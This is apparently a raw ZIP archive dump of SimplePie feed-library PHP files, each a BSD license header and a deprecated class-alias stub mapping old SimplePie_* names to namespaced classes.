 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Registry;

class_exists('SimplePie\Registry');

// @trigger_error(sprintf('Using the "SimplePie_Registry" class is deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead */
    class SimplePie_Registry extends Registry
    {
    }
}
PKWd[!Up�]	]	library/SimplePie/Rating.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Rating;

class_exists('SimplePie\Rating');

// @trigger_error(sprintf('Using the "SimplePie_Rating" class is deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead */
    class SimplePie_Rating extends Rating
    {
    }
}
PKWd[����{	{	!library/SimplePie/HTTP/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\HTTP\Parser;

class_exists('SimplePie\HTTP\Parser');

// @trigger_error(sprintf('Using the "SimplePie_HTTP_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead */
    class SimplePie_HTTP_Parser extends Parser
    {
    }
}
PKWd[���a]	]	library/SimplePie/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Parser;

class_exists('SimplePie\Parser');

// @trigger_error(sprintf('Using the "SimplePie_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead */
    class SimplePie_Parser extends Parser
    {
    }
}
PKWd[��Ӑk	k	library/SimplePie/gzdecode.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Gzdecode;

class_exists('SimplePie\Gzdecode');

// @trigger_error(sprintf('Using the "SimplePie_gzdecode" class is deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead */
    class SimplePie_gzdecode extends Gzdecode
    {
    }
}
PKWd[o��s	s	 library/SimplePie/Parse/Date.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Parse\Date;

class_exists('SimplePie\Parse\Date');

// @trigger_error(sprintf('Using the "SimplePie_Parse_Date" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead */
    class SimplePie_Parse_Date extends Date
    {
    }
}
PKWd[��l�	�	,library/SimplePie/XML/Declaration/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\XML\Declaration\Parser;

class_exists('SimplePie\XML\Declaration\Parser');

// @trigger_error(sprintf('Using the "SimplePie_XML_Declaration_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead */
    class SimplePie_XML_Declaration_Parser extends Parser
    {
    }
}
PKWd[L��]	]	library/SimplePie/Source.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Source;

class_exists('SimplePie\Source');

// @trigger_error(sprintf('Using the "SimplePie_Source" class is deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead */
    class SimplePie_Source extends Source
    {
    }
}
PKWd[4[�k	k	library/SimplePie/Sanitize.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Sanitize;

class_exists('SimplePie\Sanitize');

// @trigger_error(sprintf('Using the "SimplePie_Sanitize" class is deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead */
    class SimplePie_Sanitize extends Sanitize
    {
    }
}
PKWd[���z	z	!library/SimplePie/Cache/MySQL.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\MySQL;

class_exists('SimplePie\Cache\MySQL');

// @trigger_error(sprintf('Using the "SimplePie_Cache_MySQL" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead */
    class SimplePie_Cache_MySQL extends MySQL
    {
    }
}
PKWd[���vv!library/SimplePie/Cache/Redis.phpnu�[���<?php

/**
 * SimplePie Redis Cache Extension
 *
 * @package SimplePie
 * @author Jan Kozak <galvani78@gmail.com>
 * @link http://galvani.cz/
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version 0.2.9
 */

use SimplePie\Cache\Redis;

class_exists('SimplePie\Cache\Redis');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Redis" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead */
    class SimplePie_Cache_Redis extends Redis
    {
    }
}
PKWd[��`Cn	n	library/SimplePie/Cache/DB.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\DB;

class_exists('SimplePie\Cache\DB');

// @trigger_error(sprintf('Using the "SimplePie_Cache_DB" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead */
    abstract class SimplePie_Cache_DB extends DB
    {
    }
}
PKWd[��h�	�	%library/SimplePie/Cache/Memcached.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
